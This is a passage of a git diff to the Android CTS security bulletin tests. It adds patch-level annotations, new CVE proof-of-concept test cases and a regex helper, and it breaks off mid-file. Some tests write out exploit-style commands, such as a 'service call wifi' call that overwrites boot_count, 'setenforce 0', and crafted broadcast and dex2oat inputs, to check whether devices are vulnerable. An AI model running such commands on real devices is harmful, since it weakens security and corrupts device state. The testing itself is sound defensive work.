index fc68707..e2e5134 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_02.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_02.java
@@ -22,18 +22,30 @@
   /**
    *  b/32799236
    */
-  @SecurityTest
+  @SecurityTest(minPatchLevel = "2017-02")
   public void testPocCVE_2017_0426() throws Exception {
       AdbUtils.runCommandLine("logcat -c", getDevice());
       AdbUtils.runPoc("CVE-2017-0426", getDevice(), 60);
       String logcatOut = AdbUtils.runCommandLine("logcat -d", getDevice());
-      assertNotMatches("[\\s\\n\\S]*Bugreports file in wrong path[\\s\\n\\S]*", logcatOut);
+      assertNotMatchesMultiLine("Bugreports file in wrong path", logcatOut);
+  }
+
+   /**
+   *  b/32706020
+   */
+  @SecurityTest(minPatchLevel = "2017-02")
+  public void testPocCVE_2017_0415() throws Exception {
+      AdbUtils.runCommandLine("logcat -c", getDevice());
+      AdbUtils.runPoc("CVE-2017-0415", getDevice(), 60);
+      String logcatOut = AdbUtils.runCommandLine("logcat -d", getDevice());
+      assertNotMatchesMultiLine("Fatal signal[\\s\\S]*>>> /system/bin/mediaserver <<<",
+          logcatOut);
   }
 
     /**
      *  b/31799863
      */
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2017-02")
     public void testPocCVE_2016_8482() throws Exception {
         if(containsDriver(getDevice(), "/dev/nvmap")) {
             AdbUtils.runPoc("CVE-2016-8482", getDevice(), 60);
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_03.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_03.java
index 80c959c..0239883 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_03.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_03.java
@@ -23,20 +23,20 @@
     /**
      *  b/31824853
      */
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2017-03")
     public void testPocCVE_2016_8479() throws Exception {
         if (containsDriver(getDevice(), "/dev/kgsl-3d0")) {
-            AdbUtils.runPocNoOutput("CVE-2016-8479", getDevice(), 180);
+             AdbUtils.runPocNoOutput("CVE-2016-8479", getDevice(), 180);
             // CTS begins the next test before device finishes rebooting,
             // sleep to allow time for device to reboot.
-            Thread.sleep(30000);
+            Thread.sleep(70000);
         }
     }
 
     /**
      *  b/33940449
      */
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2017-03")
     public void testPocCVE_2017_0508() throws Exception {
         if (containsDriver(getDevice(), "/dev/ion") &&
             containsDriver(getDevice(), "/dev/dri/renderD129")) {
@@ -50,7 +50,7 @@
     /**
      *  b/33899363
      */
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2017-03")
     public void testPocCVE_2017_0333() throws Exception {
         if (containsDriver(getDevice(), "/dev/dri/renderD128")) {
             AdbUtils.runPocNoOutput("CVE-2017-0333", getDevice(), 30);
@@ -62,24 +62,44 @@
     /**
      *  b/33245849
      */
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2017-03")
     public void testPocCVE_2017_0334() throws Exception {
         if (containsDriver(getDevice(), "/dev/dri/renderD129")) {
            String out = AdbUtils.runPoc("CVE-2017-0334", getDevice());
-           assertNotMatchesMultiLine(".*Leaked ptr is (0x[fF]{6}[cC]0[a-fA-F0-9]{8}"
-               +"|0x[c-fC-F][a-fA-F0-9]{7}).*",out);
+           assertNotMatchesMultiLine("Leaked ptr is (0x[fF]{6}[cC]0[a-fA-F0-9]{8}"
+               +"|0x[c-fC-F][a-fA-F0-9]{7})",out);
         }
     }
 
     /**
      * b/32707507
      */
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2017-03")
     public void testPocCVE_2017_0479() throws Exception {
         AdbUtils.runCommandLine("logcat -c" , getDevice());
         AdbUtils.runPocNoOutput("CVE-2017-0479", getDevice(), 60);
         String logcatOut = AdbUtils.runCommandLine("logcat -d", getDevice());
-        assertNotMatchesMultiLine(".*Fatal signal 11 \\(SIGSEGV\\).*>>> /system/bin/" +
-                         "audioserver <<<.*", logcatOut);
+        assertNotMatchesMultiLine("Fatal signal 11 \\(SIGSEGV\\).*>>> /system/bin/" +
+                         "audioserver <<<", logcatOut);
     }
+
+    /*
+     *  b/33178389
+     */
+    @SecurityTest(minPatchLevel = "2017-03")
+    public void testPocCVE_2017_0490() throws Exception {
+        String bootCountBefore =
+                AdbUtils.runCommandLine("settings get global boot_count", getDevice());
+        AdbUtils.runCommandLine("service call wifi 43 s16 content://settings/global/boot_count s16 "
+                + "\"application/x-wifi-config\"",
+                getDevice());
+        String bootCountAfter =
+                AdbUtils.runCommandLine("settings get global boot_count", getDevice());
+        // Poc nukes the boot_count setting, reboot to restore it to a sane value
+        AdbUtils.runCommandLine("reboot", getDevice());
+        getDevice().waitForDeviceOnline(60 * 1000);
+        updateKernelStartTime();
+        assertEquals(bootCountBefore, bootCountAfter);
+    }
+
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_04.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_04.java
index 71e3975..248e257 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_04.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_04.java
@@ -24,7 +24,7 @@
   /**
    * b/32342065
    */
-  @SecurityTest
+  @SecurityTest(minPatchLevel = "2017-04")
   public void testPocCVE_2017_0553() throws Exception {
     // Error code of 139 represents segmentation fault
     getDevice().executeShellCommand("chmod +x /data/local/tmp/CVE-2017-0553");
@@ -35,7 +35,7 @@
   /**
    * b/72460737
    */
-  @SecurityTest
+  @SecurityTest(minPatchLevel = "2017-04")
   public void testPocCVE_2014_3145() throws Exception {
     assertFalse("VULNERABLE DEVICE DETECTED",
                 AdbUtils.runPocCheckExitCode("CVE-2014-3145", getDevice(), 60));
@@ -44,9 +44,24 @@
   /**
    * b/32813456
    */
-  @SecurityTest
+  @SecurityTest(minPatchLevel = "2017-04")
   public void testPocCVE_2016_10229() throws Exception {
     String out = AdbUtils.runPoc("CVE-2016-10229", getDevice());
-    assertNotMatchesMultiLine(".*OVERWRITE.*", out);
+    assertNotMatchesMultiLine("OVERWRITE", out);
   }
+
+    /**
+     * b/33621647
+     */
+    @SecurityTest(minPatchLevel = "2017-04")
+    public void testPocCVE_2017_0477() throws Exception {
+        AdbUtils.pushResource("/CVE-2017-0477.gif", "/data/local/tmp/CVE-2017-0477.gif",
+                getDevice());
+        AdbUtils.runCommandLine("logcat -c", getDevice());
+
+        // because runPocGetExitCode() isn't a thing
+        AdbUtils.runCommandLine("chmod +x /data/local/tmp/CVE-2017-0477", getDevice());
+        int code = AdbUtils.runCommandGetExitCode("/data/local/tmp/CVE-2017-0477", getDevice());
+        assertTrue(code != 139); // 128 + signal 11
+    }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_05.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_05.java
deleted file mode 100644
index 2d6b44a..0000000
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_05.java
+++ /dev/null
@@ -1,35 +0,0 @@
-/**
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts;
-
-import android.platform.test.annotations.SecurityTest;
-
-@SecurityTest
-public class Poc17_05 extends SecurityTestCase {
-
-    /**
-     *  b/34277115
-     */
-    @SecurityTest
-    public void testPocCVE_2017_0630() throws Exception {
-        if (containsDriver(getDevice(), "/sys/kernel/debug/tracing/printk_formats")) {
-          String commandOutput = AdbUtils.runCommandLine("cat /sys/kernel/debug/tracing" +
-                                                         "/printk_formats", getDevice());
-          assertNotMatchesMultiLine(".*0x(?!0){8,16}[0-9a-fA-F]{8,16} : .*", commandOutput);
-        }
-    }
-}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_06.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_06.java
new file mode 100644
index 0000000..c2c3e29
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_06.java
@@ -0,0 +1,41 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import java.util.concurrent.TimeUnit;
+
+@SecurityTest
+public class Poc17_06 extends SecurityTestCase {
+
+    /**
+     * b/36392138
+     */
+    @SecurityTest(minPatchLevel = "2017-06")
+    public void testPocCVE_2017_0647() throws Exception {
+        AdbUtils.pushResource("/CVE-2017-0647.zip", "/data/local/tmp/CVE-2017-0647.zip",
+                getDevice());
+        AdbUtils.runCommandLine("logcat -c" , getDevice());
+        AdbUtils.runCommandLine(
+            "dex2oat " +
+            "--dex-file=/data/local/tmp/CVE-2017-0647.zip " +
+            "--oat-file=/data/local/tmp/out " +
+            "--base=0x50000000", getDevice());
+        String logcatOut = AdbUtils.runCommandLine("logcat -d", getDevice());
+        assertNotMatchesMultiLine("Zip: missed a central dir sig", logcatOut);
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_07.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_07.java
index 1f9602a..29b7a39 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_07.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_07.java
@@ -24,7 +24,7 @@
     /**
      * b/35443725
      **/
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2017-07")
     public void testPocCVE_2016_2109() throws Exception {
       assertFalse("Overallocation detected!",
           AdbUtils.runPocCheckExitCode("CVE-2016-2109",
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_09.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_09.java
index 987233d..1659397 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_09.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_09.java
@@ -24,7 +24,7 @@
     /**
      * b/63852675
      */
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2017-09")
     public void testPocCve_2017_6983() throws Exception {
       // Error code of 139 represents segmentation fault
       assertFalse("Segfault found",
@@ -57,7 +57,7 @@
    * b/38195738
    * b/36590192
    */
-  @SecurityTest
+  @SecurityTest(minPatchLevel = "2017-09")
   public void testPocBug_38195738() throws Exception {
     if(containsDriver(getDevice(), "/dev/kgsl-3d0")) {
       AdbUtils.runPocNoOutput("Bug-38195738", getDevice(), 60);
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_11.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_11.java
index 8f1771b..e1c4977 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_11.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_11.java
@@ -24,7 +24,7 @@
     /**
      * b/36075131
      */
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2017-11")
     public void testPocCVE_2017_0859() throws Exception {
         AdbUtils.runCommandLine("logcat -c", getDevice());
         AdbUtils.pushResource("/cve_2017_0859.mp4", "/sdcard/cve_2017_0859.mp4", getDevice());
@@ -34,8 +34,8 @@
         // Wait for intent to be processed before checking logcat
         Thread.sleep(5000);
         String logcat =  AdbUtils.runCommandLine("logcat -d", getDevice());
-        assertNotMatches("[\\s\\n\\S]*Fatal signal 11 \\(SIGSEGV\\)" +
+        assertNotMatchesMultiLine("Fatal signal 11 \\(SIGSEGV\\)" +
                          "[\\s\\n\\S]*>>> /system/bin/" +
-                         "mediaserver <<<[\\s\\n\\S]*", logcat);
+                         "mediaserver <<<", logcat);
     }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_12.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_12.java
index 799e0b6..67becec 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_12.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_12.java
@@ -24,10 +24,10 @@
   /**
    * b/38045794
    */
-  @SecurityTest
+  @SecurityTest(minPatchLevel = "2017-12")
   public void testPocCVE_2017_6262() throws Exception {
     if(containsDriver(getDevice(),"/dev/dri/renderD128")) {
-      AdbUtils.runPocNoOutput("CVE-2017-6262", getDevice(), 900);
+      AdbUtils.runPocNoOutput("CVE-2017-6262", getDevice(), 300);
     }
   }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_02.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_02.java
index 1d6c60d..c9f48f9 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_02.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_02.java
@@ -24,13 +24,31 @@
     /**
      * b/68953950
      */
-     @SecurityTest
+     @SecurityTest(minPatchLevel = "2018-02")
      public void testPocCVE_2017_13232() throws Exception {
        AdbUtils.runCommandLine("logcat -c" , getDevice());
        AdbUtils.runPocNoOutput("CVE-2017-13232", getDevice(), 60);
        String logcatOutput = AdbUtils.runCommandLine("logcat -d", getDevice());
-       assertNotMatchesMultiLine(".*APM_AudioPolicyManager: getOutputForAttr\\(\\) "+
-                                 "invalid attributes: usage=.{1,} content=.{1,} "+
-                                 "flags=.{1,} tags=\\[.{256,}\\].*", logcatOutput);
+       assertNotMatchesMultiLine("APM_AudioPolicyManager: getOutputForAttr\\(\\) " +
+                                 "invalid attributes: usage=.{1,15} content=.{1,15} " +
+                                 "flags=.{1,15} tags=\\[A{256,}\\]", logcatOutput);
      }
+
+    /**
+     *  b/65853158
+     */
+    @SecurityTest(minPatchLevel = "2018-02")
+    public void testPocCVE_2017_13273() throws Exception {
+        AdbUtils.runCommandLine("dmesg -c" ,getDevice());
+        AdbUtils.runCommandLine("setenforce 0",getDevice());
+        if(containsDriver(getDevice(), "/dev/xt_qtaguid") &&
+           containsDriver(getDevice(), "/proc/net/xt_qtaguid/ctrl")) {
+            AdbUtils.runPoc("CVE-2017-13273", getDevice(), 60);
+            String dmesgOut = AdbUtils.runCommandLine("cat /sys/fs/pstore/console-ramoops",
+                              getDevice());
+            assertNotMatchesMultiLine("CVE-2017-132736 Tainted:" + "[\\s\\n\\S]*" +
+                 "Kernel panic - not syncing: Fatal exception in interrupt", dmesgOut);
+        }
+        AdbUtils.runCommandLine("setenforce 1",getDevice());
+    }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_03.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_03.java
index 6398164..4bf7b80 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_03.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_03.java
@@ -23,9 +23,9 @@
   /**
    *  b/71389378
    */
-  @SecurityTest
+  @SecurityTest(minPatchLevel = "2018-03")
   public void testPocCVE_2017_13253() throws Exception {
     String output = AdbUtils.runPoc("CVE-2017-13253", getDevice());
-    assertNotMatchesMultiLine(".*OVERFLOW DETECTED.*",output);
+    assertNotMatchesMultiLine("OVERFLOW DETECTED",output);
   }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_04.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_04.java
new file mode 100644
index 0000000..b1ed666
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_04.java
@@ -0,0 +1,50 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.runner.RunWith;
+
+public class Poc18_04 extends SecurityTestCase {
+    /**
+     * b/69683251
+     * Does not require root but must be a hostside test to avoid
+     * a race condition
+     */
+    @SecurityTest(minPatchLevel = "2018-04")
+    public void testPocCVE_2017_13286() throws Exception {
+        LaunchSomeWhere.launchSomeWhere("CVE_2017_13286", getDevice());
+    }
+
+    /**
+     * b/69634768
+     * Does not require root but must be a hostside test to avoid a race condition
+     */
+    @SecurityTest(minPatchLevel = "2018-04")
+    public void testPocCVE_2017_13288() throws Exception {
+        LaunchSomeWhere.launchSomeWhere("CVE_2017_13288", getDevice());
+    }
+
+    /**
+     * b/70398564
+     * Does not require root but must be a hostside test to avoid a race condition
+     */
+    @SecurityTest(minPatchLevel = "2018-04")
+    public void testPocCVE_2017_13289() throws Exception {
+        LaunchSomeWhere.launchSomeWhere("CVE_2017_13289", getDevice());
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_05.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_05.java
new file mode 100644
index 0000000..9364d28
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_05.java
@@ -0,0 +1,41 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+
+@SecurityTest
+public class Poc18_05 extends SecurityTestCase {
+    /**
+     * b/70721937
+     * Does not require root but must be a hostside test to avoid a race
+     * condition
+     */
+    @SecurityTest(minPatchLevel = "2018-05")
+    public void testPocCVE_2017_13315() throws Exception {
+        LaunchSomeWhere.launchSomeWhere("CVE_2017_13315", getDevice());
+    }
+
+    /**
+     * b/73085795
+     * Does not require root but must be a hostside test to avoid a race condition
+     */
+    @SecurityTest(minPatchLevel = "2018-05")
+    public void testPocCVE_2017_13312() throws Exception {
+        LaunchSomeWhere.launchSomeWhere("CVE_2017_13312", getDevice());
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_06.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_06.java
new file mode 100644
index 0000000..a678ab3
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_06.java
@@ -0,0 +1,48 @@
+/**
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+
+@SecurityTest
+public class Poc18_06 extends SecurityTestCase {
+
+  /**
+   * CVE-2018-5884
+   */
+  @SecurityTest(minPatchLevel = "2018-06")
+  public void testPocCVE_2018_5884() throws Exception {
+    String wfd_service = AdbUtils.runCommandLine(
+        "pm list package com.qualcomm.wfd.service", getDevice());
+    if (wfd_service.contains("com.qualcomm.wfd.service")) {
+      String result = AdbUtils.runCommandLine(
+          "am broadcast -a qualcomm.intent.action.WIFI_DISPLAY_BITRATE --ei format 3 --ei value 32",
+          getDevice());
+      assertNotMatchesMultiLine("Broadcast completed", result);
+    }
+  }
+
+  /**
+   * CVE-2018-5892
+   */
+  @SecurityTest(minPatchLevel = "2018-06")
+  public void testPocCVE_2018_5892() throws Exception {
+    String result = AdbUtils.runCommandLine(
+        "pm list package com.emoji.keyboard.touchpal", getDevice());
+    assertFalse(result.contains("com.emoji.keyboard.touchpal"));
+  }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_07.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_07.java
new file mode 100644
index 0000000..9595d5a
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_07.java
@@ -0,0 +1,35 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+
+@SecurityTest
+public class Poc18_07 extends SecurityTestCase {
+
+    /**
+     * b/76221123
+     */
+     @SecurityTest(minPatchLevel = "2018-07")
+     public void testPocCVE_2018_9424() throws Exception {
+       AdbUtils.runCommandLine("logcat -c" , getDevice());
+       AdbUtils.runPoc("CVE-2018-9424", getDevice(), 60);
+       String result = AdbUtils.runCommandLine("logcat -d", getDevice());
+       assertNotMatchesMultiLine("Fatal signal", result);
+     }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_10.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_10.java
new file mode 100644
index 0000000..0423b37
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_10.java
@@ -0,0 +1,48 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+
+@SecurityTest
+public class Poc18_10 extends SecurityTestCase {
+
+    /**
+     *  b/111641492
+     */
+    @SecurityTest(minPatchLevel = "2018-10")
+    public void testPocCVE_2018_9515() throws Exception {
+        AdbUtils.runCommandLine("rm /sdcard/Android/data/CVE-2018-9515", getDevice());
+        AdbUtils.runCommandLine("mkdir /sdcard/Android/data/CVE-2018-9515", getDevice());
+        AdbUtils.runPocNoOutput("CVE-2018-9515", getDevice(), 300);
+        boolean vulnerableBecauseCrashed = getDevice().waitForDeviceNotAvailable(10_000);
+        if (vulnerableBecauseCrashed) {
+            // wait for device to come online so we can clean up
+            getDevice().waitForDeviceAvailable(120_000); // 2 minutes
+        }
+        AdbUtils.runCommandLine("rm -rf /sdcard/Android/data/CVE-2018-9515", getDevice());
+    }
+
+    /**
+     *  b/111274046
+     */
+    @SecurityTest
+    public void testPocCVE_2018_9490() throws Exception {
+        int code = AdbUtils.runPocGetExitStatus("/data/local/tmp/CVE-2018-9490", getDevice(), 60);
+        assertTrue(code != 139); // 128 + signal 11
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_11.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_11.java
new file mode 100644
index 0000000..81911ed
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_11.java
@@ -0,0 +1,42 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+
+import static org.junit.Assert.*;
+
+@SecurityTest
+public class Poc18_11 extends SecurityTestCase {
+
+    /**
+     *  b/111330641
+     */
+    @SecurityTest(minPatchLevel = "2018-11")
+    public void testPocCVE_2018_9525() throws Exception {
+        assertTrue(AdbUtils.runCommandGetExitCode(
+                "pm dump com.android.settings | grep SliceBroadcastReceiver", getDevice()) != 0);
+    }
+
+    /**
+     *  b/113027383
+     */
+    @SecurityTest(minPatchLevel = "2018-11")
+    public void testPocCVE_2018_9539() throws Exception {
+        AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2018-9539", getDevice(), 300);
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc19_03.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_03.java
deleted file mode 100644
index 115fad2..0000000
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc19_03.java
+++ /dev/null
@@ -1,34 +0,0 @@
-/**
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts;
-
-import android.platform.test.annotations.SecurityTest;
-import static org.junit.Assert.assertFalse;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-@SecurityTest
-public class Poc19_03 extends SecurityTestCase {
-    /**
-     * b/115739809
-     */
-    @SecurityTest(minPatchLevel = "2019-03")
-    public void testPocBug_115739809() throws Exception {
-        assertFalse(AdbUtils.runPocCheckExitCode("Bug-115739809", getDevice(), 30));
-    }
-}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/RegexUtils.java b/hostsidetests/securitybulletin/src/android/security/cts/RegexUtils.java
new file mode 100644
index 0000000..3ab1829
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/RegexUtils.java
@@ -0,0 +1,141 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import java.util.concurrent.TimeoutException;
+import java.util.regex.Pattern;
+import java.util.regex.Matcher;
+import com.android.ddmlib.Log.LogLevel;
+import com.android.tradefed.log.LogUtil.CLog;
+
+import static org.junit.Assert.*;
+
+public class RegexUtils {
+    private static final int CONTEXT_RANGE = 100; // chars before/after matched input string
+
+    public static void assertContains(String pattern, String input) throws Exception {
+        assertFind(pattern, input, false, false);
+    }
+
+    public static void assertContainsMultiline(String pattern, String input) throws Exception {
+        assertFind(pattern, input, false, true);
+    }
+
+    public static void assertNotContains(String pattern, String input) throws Exception {
+        assertFind(pattern, input, true, false);
+    }
+
+    public static void assertNotContainsMultiline(String pattern, String input) throws Exception {
+        assertFind(pattern, input, true, true);
+    }
+
+    private static void assertFind(
+            String pattern, String input, boolean shouldFind, boolean multiline) {
+        // The input string throws an error when used after the timeout
+        TimeoutCharSequence timedInput = new TimeoutCharSequence(input, 60_000); // 1 minute
+        Matcher matcher = null;
+        if (multiline) {
+            // DOTALL lets .* match line separators
+            // MULTILINE lets ^ and $ match line separators instead of input start and end
+            matcher = Pattern.compile(
+                    pattern, Pattern.DOTALL|Pattern.MULTILINE).matcher(timedInput);
+        } else {
+            matcher = Pattern.compile(pattern).matcher(timedInput);
+        }
+
+        try {
+            long start = System.currentTimeMillis();
+            boolean found = matcher.find();
+            long duration = System.currentTimeMillis() - start;
+
+            if (duration > 1000) { // one second
+                // Provide a warning to the test developer that their regex should be optimized.
+                CLog.logAndDisplay(LogLevel.WARN, "regex match took " + duration + "ms.");
+            }
+
+            if (found && shouldFind) { // failed notContains
+                String substring = input.substring(matcher.start(), matcher.end());
+                String context = getInputContext(input, matcher.start(), matcher.end(),
+                        CONTEXT_RANGE, CONTEXT_RANGE);
+                fail("Pattern found: '" + pattern + "' -> '" + substring + "' for input:\n..." +
+                        context + "...");
+            } else if (!found && !shouldFind) { // failed contains
+                fail("Pattern not found: '" + pattern + "' for input:\n..." + input + "...");
+            }
+        } catch (TimeoutCharSequence.CharSequenceTimeoutException e) {
